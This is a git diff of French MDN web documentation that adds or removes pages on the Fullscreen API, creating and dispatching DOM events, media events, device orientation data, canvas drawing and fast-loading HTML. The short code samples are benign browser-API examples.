{{domxref("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()webkitRequestFullscreen()webkitRequestFullscreen()
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpecificationStatutCommentaire
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

Tous les navigateurs implémentent cette API. Néanmoins certains l'implémentent avec des préfixes avec des noms légèrement différents ; par exemple, au lieu de requestFullscreen (), il y a MozRequestFullScreen ().

- -

{{ CompatibilityTable() }} 

- -
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support15 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("9.0") }} {{ property_prefix("-moz") }}
- {{CompatGeckoDesktop("47")}} (behind full-screen-api.unprefix.enabled)		11 {{ property_prefix("-ms") }}12.105.0 {{ property_prefix("-webkit") }}
fullscreenEnabled20 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("10.0") }} {{ property_prefix("-moz") }}
- {{CompatGeckoDesktop("47")}} (behind full-screen-api.unprefix.enabled)		11 {{ property_prefix("-ms") }}12.105.1 {{ property_prefix("-webkit") }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChromeEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}28 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("9.0") }}{{ property_prefix("-moz") }}
- {{CompatGeckoMobile("47")}} (behind full-screen-api.unprefix.enabled)		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
fullscreenEnabled{{ CompatUnknown() }}28 {{ property_prefix("-webkit") }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("10.0") }} {{ property_prefix("moz") }}
- {{CompatGeckoMobile("47")}} (behind full-screen-api.unprefix.enabled)		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-
- -

Voir aussi

- -
    -
  • Utiliser le mode plein écran
    • -
  • {{ domxref("Element.requestFullscreen()") }}
    • -
  • {{ domxref("Document.exitFullscreen()") }}
    • -
  • {{ domxref("Document.fullscreen") }}
    • -
  • {{ domxref("Document.fullscreenElement") }}
    • -
  • {{ cssxref(":fullscreen") }}, {{cssxref("::backdrop")}}
    • -
  • {{ HTMLAttrXRef("allowfullscreen", "iframe") }}
    • -
diff --git a/files/fr/web/guide/events/creating_and_triggering_events/index.html b/files/fr/web/guide/events/creating_and_triggering_events/index.html new file mode 100644 index 0000000000..686d138cfc --- /dev/null +++ b/files/fr/web/guide/events/creating_and_triggering_events/index.html @@ -0,0 +1,96 @@ +--- +title: Création et déclenchement d'événements +slug: Web/Guide/DOM/Events/Creating_and_triggering_events +tags: + - API + - Avancé + - DOM + - Guide + - JavaScript + - évènements +translation_of: Web/Guide/Events/Creating_and_triggering_events +--- +

Cet article montre comment créer et distribuer des événements DOM. De tels événements sont généralement appelés événements synthétiques afin de les distinguer des événements levés par le navigateur lui-même.

+ +

Création d'événements personnalisés

+ +

Les événements peuvent être créés avec le constructeur Event de cette manière :

+ +
var event = new Event('build');
+
+//Ecouter l'événement.
+elem.addEventListener('build', function (e) { ... }, false);
+
+//distribuer l'événement.
+elem.dispatchEvent(event);
+ +

Ce constructeur est pris en charge par la plupart des navigateurs modernes (Internet Explorer étant l'exception). Pour une approche plus verbeuse (qui fonctionne avec Internet Explorer), voir l'ancienne approche ci-dessous.

+ +

Ajout de données personnalisée - CustomEvent ()

+ +

Pour ajouter d'autres données à l'objet événement, il existe l'interface CustomEvent. Dans cette interface, la propriété detail peut être utilisée pour transmettre des données personnalisées. Par exemple, l'événement peut être créé de la manière suivante :

+ +
var event = new CustomEvent('build', { 'detail': elem.dataset.time });
+ +

Cela permet à la fonction qui capture l'événement (la fonction de rappel) d'accéder aux données supplémentaires :

+ +
function eventHandler(e) {
+  log('The time is: ' + e.detail);
+}
+
+ +

L'ancienne approche

+ +

L'ancienne manière de créer des événements utilise des API inspirées par Java. Le code suivant en montre un exemple :

+ +
// Crée l'événement
+var event = document.createEvent('Event');
+
+// Nomme l'événement 'build'.
+event.initEvent('build', true, true);
+
+// Écoute l'événement.
+elem.addEventListener('build', function (e) {
+  // e.target correspond à elem
+}, false);
+
+// target peut être n'importe quel Element ou autre EventTarget.
+elem.dispatchEvent(event);
+
+
+ +

Le déclenchement d'événements intégrés

+ +

Cet exemple démontre la simulation d'un clic (programmation générant un événement de clic) sur une case à cocher en utilisant des méthodes DOM. Voir l'exemple en action.

+ +
function simulateClick() {
+  var event = new MouseEvent('click', {
+    'view': window,
+    'bubbles': true,
+    'cancelable': true
+  });
+  var cb = document.getElementById('checkbox');
+  var canceled = !cb.dispatchEvent(event);
+  if (canceled) {
+    //Un gestionnaire appelé preventDefault.
+    alert("canceled");
+  } else {
+    //Aucun gestionnaires appelé preventDefault.
+    alert("not canceled");
+  }
+}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Event.Event")}}

+ +

Voir aussi

+ +
    +
  • {{domxref("document.createEvent()")}}
    • +
  • {{domxref("Event.initEvent()")}}
    • +
  • {{domxref("EventTarget.dispatchEvent()")}}
    • +
  • {{domxref("EventTarget.addEventListener()")}}
    • +
diff --git a/files/fr/web/guide/events/index.html b/files/fr/web/guide/events/index.html new file mode 100644 index 0000000000..475aa10cde --- /dev/null +++ b/files/fr/web/guide/events/index.html @@ -0,0 +1,18 @@ +--- +title: Event developer guide +slug: Web/Guide/DOM/Events +tags: + - DOM + - Event + - Guide + - TopicStub + - events +translation_of: Web/Guide/Events +--- +

{{draft()}}

+ +

Tout ce que vous devez savoir sur les événements sera présenté ici. Nous travaillons sur le nettoyage ici maintenant.

+ +

Docs

+ +

{{LandingPageListSubpages}}

diff --git a/files/fr/web/guide/events/media_events/index.html b/files/fr/web/guide/events/media_events/index.html new file mode 100644 index 0000000000..c34862e7db --- /dev/null +++ b/files/fr/web/guide/events/media_events/index.html @@ -0,0 +1,266 @@ +--- +title: Evénements des Médias +slug: Web/Guide/DOM/Events/evenement_medias +tags: + - Media +translation_of: Web/Guide/Events/Media_events +--- +

Plusieurs événements sont envoyés lors de la gestion des médias inclus dans un documentHTML en utilisant les balises {{ HTMLElement("audio") }} et {{ HTMLElement("video") }} ; ce document les liste et fournit des informations sur leur utilisation.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de l'événementDescription
abortEnvoyé lorsque la lecture est avortée ; par exemple, si le média est en cours de lecture et que cette lecture est recommencée depuis le début, cet événement est envoyé.
{{event("canplay")}}Envoyé lorsqu'il y a assez de données disponibles pour que le média puisse être lu, sur au moins quelques trames. Cet événement correspond à la valeur HAVE_ENOUGH_DATA de la propriété readyState.
{{event("canplaythrough")}}Envoyé quand l'état de disponibilité change pour CAN_PLAY_THROUGH, indiquant que le média peut être lu en entier sans interruption si la vitesse de téléchargement de celui-ci reste stable. Il sera également envoyé quand l'état de lecture bascule entre lecture et pause. Note: Changer manuellement la valeur currentTime peut éventuellement déclencher cet évenement dans firefox. Les autres navigateurs peuvent ne pas envoyer cet événement.
{{event("durationchange")}}Les métadonnées sont chargées ou ont changées, indiquant un changement de la durée du média. Cet événement est envoyé lorsque, par exemple, assez de données ont été téléchargées pour connaitre cette durée.
{{event("emptied")}}Les données du média ont été vidées ; par exemple, si le média a déjà été téléchargé, partiellement ou complètement, et que la méthode load() a été appellée pour le re-télécharger.
encrypted {{experimental_inline}}L'agent utilisateur a trouvé des données d'initialisation d'acquisition de licence dans les données du média.
endedEnvoyé quand la lecture du média est terminée.
errorEnvoyé quand une erreur intervient. L'attribut error de l'élément contient plus d'informations. Voir Error handling pour plus de détails.
interruptbeginEnvoyé quand la lecture audio du média est interrompue sur un terminal Firefox OS, soit parce que l'application a été placée en arrière-plan, soit parce que la lecture d'un autre canal audio avec une priorité supérieure commence. Voir Using the AudioChannels API pour plus de détails.
interruptendEnvoyé lorsque la lecture audio du média interrompue recommence sur un terminal Firefox OS — quand l'interruption se termine. Soit quand l'application revient au premier plan, soit quand la lecture d'un autre canal audio avec une priorité supérieure est terminée. Voir Using the AudioChannels API pour plus de détails.
{{event("loadeddata")}}La première frame du media a fini de se télécharger.
{{event("loadedmetadata")}}Les métadonnées du média ont fini de se télécharger ; tous les attributs ont désormais toutes les informations utiles qu'ils peuvent contenir.
{{event("loadstart")}}Envoyé lorsque le téléchargement du média commence.
mozaudioavailableEnvoyé lorsque qu'un tampon audio est fourni à la couche audio du lecteur pour traitement ; le tampon audio contient des échantilons sonores qui peuvent déjà être lus ou non au moment où l'évenement est reçu.
{{event("pause")}}Envoyé quand la lecture du média est mise en pause.
{{event("play")}}Envoyé quand la lecture du média commence après avoir été mise en pause ; c'est-à-dire quand elle reprend après un événement pause précédent.
{{event("playing")}}Envoyé quand la lecture du média commence (soit pour la première fois, soit après avoir été mise en pause ou soit après avoir été terminée puis relancée).
{{event("progress")}}Envoyé de manière périodique pour informer de la progression du téléchargement du média. L'information sur le volume de données actuellement téléchargées est disponible dans la propriété buffered de l'élément.
{{event("ratechange")}}Envoyé lorsque la vitesse de lecture du média change.
{{event("seeked")}}Envoyé lorsqu'une opération de déplacement dans le média est terminée.
{{event("seeking")}}Envoyé lorsqu'une opération de déplacement dans le média commence.
{{event("stalled")}}Envoyé lorsque l'agent utilisateur essaye de télécharger des données du média mais que celle-ci sont indisponibles.
{{event("suspend")}}Envoyé lorsque le téléchargement du média est suspendu ; soit parce que ce téléchargement est fini, soit parce qu'il est mis en pause pour une autre raison.
{{event("timeupdate")}}La position de la tête de lecture dans le média indiquée par l'attribut currentTime de l'élément a changée.
{{event("volumechange")}}Envoyé lorsque le volume sonore du lecteur ou que l'attribut muted de l'élément changent.
{{event("waiting")}}Envoyé lorsqu'une opération demandée (comme la lecture) est reportée en attendant la fin d'une autre opération (comme le déplacement du média).
+ +

Vous pouvez facilement écouter ces événements en utilisant du code ci-dessous :

+ +
var v = document.getElementsByTagName("video")[0];
+v.addEventListener("seeked", function() { v.play(); }, true);
+v.currentTime = 10.0;
+
+ +

Ce code récupère le premier élément vidéo dans le document et y attache un écouteur qui se déclenche quand l'évenement seeked est envoyé. Cet écouteur appèle la méthode play() de l'élément, qui démarre la lecture.

+ +

Ensuite, en ligne 3, l'exemple définit la propriété currentTime de l'élement à 10.0, ce qui provoque une opération de déplacement de la tête de lecture à 10 secondes dans le média. Cet opération déclenche l'envoi d'un évenement seeking quand elle commence, puis un évenement seeked quand elle se termine.

+ +

En d'autres termes, l'exemple lance le changement de la position de la tête de lecture à 10 secondes dans le média, et lance la lecture quand c'est fait.

+ +

Compatibilité des navigateurs

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{ CompatUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
encrypted{{CompatChrome(42.0)}} +

 

+ 		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
load{{ CompatUnknown() }}{{CompatNo}} [1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
mozaudioavailable {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatGeckoDesktop("2.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
suspend{{ CompatUnknown() }}{{ CompatGeckoDesktop("1.9.2") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Support basique{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
encrypted{{ CompatNo }}{{CompatChrome(43.0)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatChrome(42.0)}} +

 

+
load{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
mozaudioavailable {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatGeckoMobile("2.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}
suspend{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Supprimé dans Gecko 1.9.2.

diff --git a/files/fr/web/guide/events/orientation_and_motion_data_explained/index.html b/files/fr/web/guide/events/orientation_and_motion_data_explained/index.html new file mode 100644 index 0000000000..f7f7f0c204 --- /dev/null +++ b/files/fr/web/guide/events/orientation_and_motion_data_explained/index.html @@ -0,0 +1,76 @@ +--- +title: Les données d'orientation et de mouvement expliquées +slug: Web/Guide/DOM/Events/Les_données_d_orientation_et_de_mouvement_expliquées +tags: + - Coordonnées + - Mobile + - Mouvement + - Orientation + - rotation +translation_of: Web/Guide/Events/Orientation_and_motion_data_explained +--- +

{{ Draft() }}

+ +

Résumé

+ +

Lorsque vous utilisez des événements d'orientation et de mouvement, il est important de comprendre les valeurs que vous donne le navigateur. Cet article fournit des détails sur les systèmes de coordonnées en jeu et comment vous les utilisez.

+ +
+

Attention : Actuellement, Firefox et Chrome ne gèrent pas ces  coordonnées de la même manière. Prenez-y garde en les utilisant.

+
+ +

À propos des cadres de coordonnées

+ +

Un cadre de coordonnées est un système grâce auquel l'orientation des trois axes (X, Y et Z) d'un objet est définie. Il existe deux cadres de coordonnées à prendre en compte lors de l'utilisation d'événements d'orientation et de mouvement:

+ +

Le cadre de coordonnées de la Terre

+ +

Le cadre de coordonnées de la Terre est celui basé sur le centre de la Terre ; c'est-à-dire que les axes sont alignés sur la base de l'attraction de la gravité et de l'orientation nord magnétique standard. Nous utilisons des lettres majuscules ("X", "Y" et "Z") pour décrire les axes du cadre de coordonnées de la Terre.

+ +
    +
  • L'axe X  suit le plan du sol, perpendiculaire à l'axe Y, et positif vers l'est (et donc négatif vers l'ouest).
    • +
  • L'axe Y suit le plan du sol et est positif vers le vrai nord (c'est-à-dire le pôle nord, pas le nord magnétique) et négatif vers le vrai sud.
    • +
  • L'axe Z est perpendiculaire au plan du sol ; pensez-y comme une ligne tracée entre l'appareil et le centre de la Terre. La valeur de la coordonnée Z est positive vers le haut (loin du centre de la Terre) et négative vers le bas (vers le centre de la Terre).
    • +
+ +

Le cadre de coordonnées de l'appareil

+ +

Le cadre de coordonnées de l'appareil est basé sur le centre de l'appareil. Nous utilisons des lettres minuscules ("x", "y" et "z") pour décrire les axes du cadre de coordonnées de l'appareil.

+ +

axes.png

+ +
    +
  • L'axe x est dans le plan de l'écran et est positif vers la droite et négatif vers la gauche.
    • +
  • L'axe y est dans le plan de l'écran et est positif vers le haut et négatif vers le bas.
    • +
  • L'axe z est perpendiculaire à l'écran ou au clavier et positif à partir de l'écran.
    • +
+ +
Note : Sur un téléphone ou une tablette, l'orientation de l'appareil est toujours considérée par rapport à l'orientation standard de l'écran ; c'est l'orientation "portrait" sur la plupart des appareils. Sur un ordinateur portable, l'orientation est considérée par rapport au clavier. Si vous voulez détecter les changements d'orientation de l'appareil pour compenser, vous pouvez utiliser l'évènement orientationchange.
+ +

À propos de la rotation

+ +

La rotation est décrite  pour un axe donné en nombre de degrés d'écart entre le cadre de coordonnées de l'appareil et le cadre de coordonnées de la Terre, et est mesurée en degrés.

+ +

Alpha

+ +

La rotation autour de l'axe z -- c'est-à-dire, son déplacement latéral, vers la gauche ou la droite - fait changer l'angle de rotation alpha :

+ +

alpha.png

+ +

L'angle alpha est de 0° quand le haut de l'appareil pointe vers le pôle nord, et augmente lorsque l'appareil est tourné vers la gauche.

+ +

Beta

+ +

La rotation autour de l'axe x -- c'est-à-dire, l'inclinaison de l'appareil de ou vers l'utilisateur -- provoque le changement de l'angle de rotation beta :

+ +

beta.png

+ +

L'angle beta est de 0° lorsque le haut et le bas de l'appareil sont à la même distance de la surface de la Terre, et augmente vers 180 ° lorsque l'appareil est incliné vers l'avant et diminue vers -180 ° lorsque l'appareil est incliné vers l'arrière.

+ +

Gamma

+ +

La rotation autour de l'axe Y -- c'est-à-dire, l'inclinaison de l'appareil vers la gauche ou la droite -- modifie l'angle de rotation gamma :

+ +

gamma.png

+ +

L'angle gamma est de 0° lorsque les côtés gauche et droit de l'appareil sont à la même distance de la surface de la Terre et augmente vers 90 ° lorsque l'appareil est incliné vers la droite, et vers -90 ° lorsque l'appareil est incliné vers la gauche.

diff --git a/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html b/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html deleted file mode 100644 index 0b0a96257e..0000000000 --- a/files/fr/web/guide/graphics/dessiner_avec_canvas/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Dessiner avec Canvas -slug: Web/Guide/Graphics/Dessiner_avec_canvas -tags: - - Canvas - - HTML -translation_of: Web/API/Canvas_API/Tutorial -translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas ---- -

 

-

Introduction

-

Depuis Firefox 1.5, Firefox comprend un nouvel élément HTML servant à dessiner programmatiquement. L'élément {{HTMLElement("canvas")}} est basé sur la spécification canvas du WHATWG, elle-même basée sur la balise <canvas> d'Apple implémentée dans Safari. Celui-ci peut être utilisé pour afficher des graphes, des élements d'interface, et d'autres éléments graphiques personnalisés sur le client.

-

{{HTMLElement("canvas")}} crée une surface de dessin de taille fixe, ou canevas, exposant un ou plusieurs contextes de rendu. Nous nous concentrerons sur le contexte de rendu 2D (c'est d'ailleurs le seul contexte de rendu actuellement défini). Dans le futur, d'autres contextes peuvent fournir différents types de rendu. Par exemple, il est probable qu'un contexte 3D basé sur OpenGL ES sera ajouté à la spécification <canvas>.

-

Le contexte de rendu 2D

-

Un exemple simple

-

Pour commencer, voici un exemple simple qui dessine deux rectangles ayant une intersection, l'un d'entre-eux possédant une transparence alpha :

-

Exemple 1.

-
<html>
- <head>
-  <script type="application/x-javascript">
-function draw() {
- var canvas = document.getElementById("canvas");
- var ctx = canvas.getContext("2d");
-
- ctx.fillStyle = "rgb(200,0,0)";
- ctx.fillRect (10, 10, 55, 50);
-
- ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
- ctx.fillRect (30, 30, 55, 50);
-}
-  </script>
- </head>
- <body onload="draw()">
-   <canvas id="canvas" width="300" height="300"></canvas>
- </body>
-</html>
-
-

La fonction draw récupère l'élément canvas, et ensuite son contexte 2d. L'objet ctx peut ensuite être utilisé pour dessiner réellement vers le canevas. L'exemple remplit simplement les deux rectangles, en positionnant fillStyle à deux couleurs différentes à l'aide des spécifications de couleur CSS et d'un appel à fillRect. Le second appel à fillStyle utilise rgba() pour spécifier une valeur alpha parmi les informations de couleur.

-

Les appels à fillRect, strokeRect et clearRect affichent un rectangle plein, surligné ou vide. Pour afficher des formes plus complexes, on utilise des chemins.

-

Utilisation de chemins

-

La fonction beginPath commence un nouveau chemin, et moveTo, lineTo, arcTo, arc et des méthodes similaires sont utilisées pour ajouter des segments au chemin. Le chemin peut être fermé à l'aide de closePath. Une fois que le chemin est créé, vous pouvez utiliser fill ou stroke pour afficher celui-ci sur le canevas.

-

Exemple 2.

-
<html>
- <head>
-  <script type="application/x-javascript">
-function draw() {
-  var canvas = document.getElementById("canvas");
-  var ctx = canvas.getContext("2d");
-
-  ctx.fillStyle = "red";
-
-  ctx.beginPath();
-  ctx.moveTo(30, 30);
-  ctx.lineTo(150, 150);
-  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150);
-  ctx.lineTo(30, 30);
-  ctx.fill();
-}
-   </script>
- </head>
- <body onload="draw()">
-   <canvas id="canvas" width="300" height="300"></canvas>
- </body>
-</html>
-
-

L'appel à fill() ou stroke() provoque l'utilisation du chemin. Pour être rempli ou dessiné à nouveau, le chemin devra être recréé.

-

État graphique

-

Les attributs du contexte comme fillStyle, strokeStyle, lineWidth et lineJoin font partie de l'état graphique courant. Le contexte fournit deux méthodes, save() et restore(), qui peuvent être utilisées pour déplacer l'état courant vers et depuis la pile d'états.

-

Un exemple plus compliqué

-

Voici un exemple un petit peu plus compliqué, qui utilise des chemins, des états et introduit également la matrice de transformation courante. Les méthodes du contexte translate(), scale() et rotate() transforment toutes la matrice courante. Tous les points affichés sont au préalable transformés par cette matrice.

-

Exemple 3.

-
 <html>
-  <head>
-   <script type="application/x-javascript">
- function dessineNoeudPap(ctx, fillStyle) {
-
-   ctx.fillStyle = "rgba(200,200,200,0.3)";
-   ctx.fillRect(-30, -30, 60, 60);
-
-   ctx.fillStyle = fillStyle;
-   ctx.globalAlpha = 1.0;
-   ctx.beginPath();
-   ctx.moveTo(25, 25);
-   ctx.lineTo(-25, -25);
-   ctx.lineTo(25, -25);
-   ctx.lineTo(-25, 25);
-   ctx.closePath();
-   ctx.fill();
- }
-
- function point(ctx) {
-   ctx.save();
-   ctx.fillStyle = "black";
-   ctx.fillRect(-2, -2, 4, 4);
-   ctx.restore();
- }
-
- function dessine() {
-   var canvas = document.getElementById("canvas");
-   var ctx = canvas.getContext("2d");
-
-   // notez que toutes les autres translations sont relatives à
-   // celle-ci
-   ctx.translate(45, 45);
-
-   ctx.save();
-   //ctx.translate(0, 0); // non nécessaire
-   dessineNoeudPap(ctx, "red");
-   point(ctx);
-   ctx.restore();
-
-   ctx.save();
-   ctx.translate(85, 0);
-   ctx.rotate(45 * Math.PI / 180);
-   dessineNoeudPap(ctx, "green");
-   point(ctx);
-   ctx.restore();
-
-   ctx.save();
-   ctx.translate(0, 85);
-   ctx.rotate(135 * Math.PI / 180);
-   dessineNoeudPap(ctx, "blue");
-   point(ctx);
-   ctx.restore();
-
-   ctx.save();
-   ctx.translate(85, 85);
-   ctx.rotate(90 * Math.PI / 180);
-   dessineNoeudPap(ctx, "yellow");
-   point(ctx);
-   ctx.restore();
- }
-    </script>
-  </head>
-  <body onload="dessine()">
-    <canvas id="canvas" width="300" height="300"></canvas>
-  </body>
- </html>
-
-

Ceci définit deux méthodes dessineNoeudPap et point, qui sont appelées 4 fois. Avant chaque appel, translate() et rotate() sont utilisées pour définir la matrice de transformation courante, qui à son tour positionne le point et le nœud papillon. point affiche un petit carré noir centré sur (0, 0). Ce point est déplacé par la matrice de transformation. dessineNoeudPap affiche un chemin simple en forme de nœud papillon en utilisant le style de remplissage fourni en paramètre.

-

Comme les opérations de matrices sont cumulatives, save() et restore() sont utilisées autour de chaque jeu d'appels afin de restaurer l'état initial du canevas. Une chose à surveiller est que la rotation se passe toujours autour de l'origine courante ; donc une séquence translate() rotate() translate() donnera des résultats différents d'une série d'appels translate() translate() rotate().

-

Compatibilité avec le <canvas> d'Apple

-

Pour la plus grande partie, le <canvas> de Mozilla est compatible avec celui d'Apple et d'autres implémentations. Il convient cependant d'être averti de quelques problèmes, décrits ci-dessous.

-

Balise </canvas> requise

-

Dans l'implémentation d'Apple Safari, <canvas> est un élément fortement semblable à l'élément <img> ; il ne doit pas forcément avoir de balise de fermeture. Cependant, pour que <canvas> puisse être utilisé à grande échelle sur le Web, il est important de pouvoir fournir facilement du contenu alternatif. C'est pourquoi l'implémentation de Mozilla a une balise de fin requise.

-

Si aucun contenu alternatif n'est nécessaire, un simple <canvas id="foo" ...></canvas> sera entièrement compatible avec Safari et Mozilla -- Safari ignorera simplement la balise de fermeture.

-

Si un contenu alternatif est désiré, certaines astuces CSS doivent être utilisées pour masquer le contenu alternatif à Safari (qui doit seulement afficher le canevas), et masquer ces mêmes astuces à Internet Explorer (qui doit afficher le contenu alternatif). À faire : les commandes CSS exactes doivent être fournies par hixie.

-

Fonctionnalités supplémentaires

-

Affichage de contenu Web dans un canevas

-
- Cette fonctionnalité est uniquement disponible pour le code exécuté avec des privilèges Chrome. Son utilisation n'est pas permise dans des pages HTML normales.
-

L'élément canvas de Mozilla a été étendu avec la méthode drawWindow. Celle-ci dessine une capture du contenu d'un élément DOM window dans le canevas. Par exemple,

-
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(0,0,0)");
-
-

affichera le contenu de la fenêtre courante dans le rectangle (0,0,100,200) défini en pixels relatifs au coin en haut à gauche de la fenêtre d'affichage, sur un fond noir, dans le canevas. En spécifiant "rgba(0,0,0,0)" comme couleur, le contenu sera dessiné avec un fond transparent (ce qui sera plus lent).

-

Avec cette méthode, il est possible de remplir un IFRAME caché avec du contenu arbitraire (par exemple, du texte HTML stylé avec CSS, ou du SVG) et de le dessiner dans un canevas. Celui-ci sera redimensionné, tourné, etc. suivant la transformation courante.

-

L'extension tab preview de Ted Mielczarek utilise cette technique dans le chrome pour fournir des miniatures de pages Web, et sa source est disponible pour référence.

-

Voir aussi

- -

{{ languages( { "en": "en/Drawing_Graphics_with_Canvas", "ja": "ja/Drawing_Graphics_with_Canvas", "ko": "ko/Drawing_Graphics_with_Canvas", "pl": "pl/Rysowanie_grafik_za_pomoc\u0105_Canvas" } ) }}

diff --git "a/files/fr/web/guide/html/astuces_de_cr\303\251ation_de_pages_html_\303\240_affichage_rapide/index.html" "b/files/fr/web/guide/html/astuces_de_cr\303\251ation_de_pages_html_\303\240_affichage_rapide/index.html" deleted file mode 100644 index 58e21b4603..0000000000 --- "a/files/fr/web/guide/html/astuces_de_cr\303\251ation_de_pages_html_\303\240_affichage_rapide/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Astuces de création de pages HTML à affichage rapide -slug: Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide -tags: - - HTML - - Performance -translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages ---- -

C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. 
- Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement.

- -

Réduire le poids de la page

- -

Le poids de la page est de loin le facteur le plus important dans les performances de chargement de votre page. Pour les améliorer, on peut procéder de diverses manières:

- -
    -
  • Eliminer les espaces et les commentaires inutile.
    • -
  • -
    Déplacer le script intégré (ou "inline scripts") et le code CSS dans des fichiers externes (un pour JavaScript, un pour CSS,...). Des outils tels que HTML Tidy peuvent automatiquement enlever les espaces de trop et les lignes vides à partir d'une source HTML valide. D'autres outils peuvent "compresser" JavaScript comme le libre YUIcompressor.
    -
    • -
  • -
    Verifiez que votre site ne contient pas de code inutile ou de tags superflus. 
    -
    • -
- -

Téléchargez le html d'abords, puis le CSS et le JavaScript nécessaires à son affichage, de sorte que l'utilisateur obtienne rapidement une réponse apparente au cours du chargement de la paget. Ce contenu est généralement du texte, et peuvent donc bénéficier de la compression de texte dans le modem, fournissant ainsi une réponse encore plus rapide à l'utilisateur.

- -

Réduisez le nombre de fichiers

- -

Réduire le nombre de fichiers référencés dans une page web diminue le nombre de connexions HTTP nécessaire pour télécharger une page.

- -
    -
  • Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des boutons graphiques en CSS.
    • -
  • Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser Gimp ou Imagemagik.
    • -
  • Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur.
    • -
- -

Les videos sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page.

- -

Réduire les domaines des recherches

- -

Étant donné que chaque requete DNS demande du temps, le temps de chargement de la page va augmenter avec l'augmentation du nombre de domaines séparés figurant dans le lien CSS, JavaScript et image (src). Vous devez toujours prendre soin de n'utiliser que le nombre minimum nécessaire de différents domaines dans vos pages.

- -

Réutiliser le contenu du cache

- -

Assurez-vous que tout contenu qui peut être mis en cache, est mis en cache, et avec un temps d'expiration appropriée.
- En particulier, attention à l'en-tête "Last-Modified". Elle permet la mise en cache de la page; grâce à cette en-tête, l'information est transmise au navigateur (ou "user agent") sur le fichier qu'il veut charger, comme lors de sa dernière modification. La plupart des serveurs web ajoute automatiquement l'en-tête "Last-Modified" aux pages statiques (par exemple. html,. css), basé sur la date de la dernière modification stockées dans le système de fichiers. Avec des pages dynamiques (p. ex. Php,. Aspx), ceci, bien sûr, ne peut pas être fait, et l'en-tête n'est pas envoyé.
- En particulier pour les pages qui sont générées dynamiquement, une petite recherche sur ce sujet est bénéfique. Il peut être quelque peu complexe, mais il permettra d'économiser beaucoup de demandes de page sur des pages qui ne devraient normalement pas être mis en cache.
-
- Plus d'informations:
-
-    1. HTTP Conditional Get for RSS Hackers
-    2. HTTP 304: Not Modified
-    3. On HTTP Last-Modified and ETag

- -

Réduire le nombre de scripts en ligne

- -

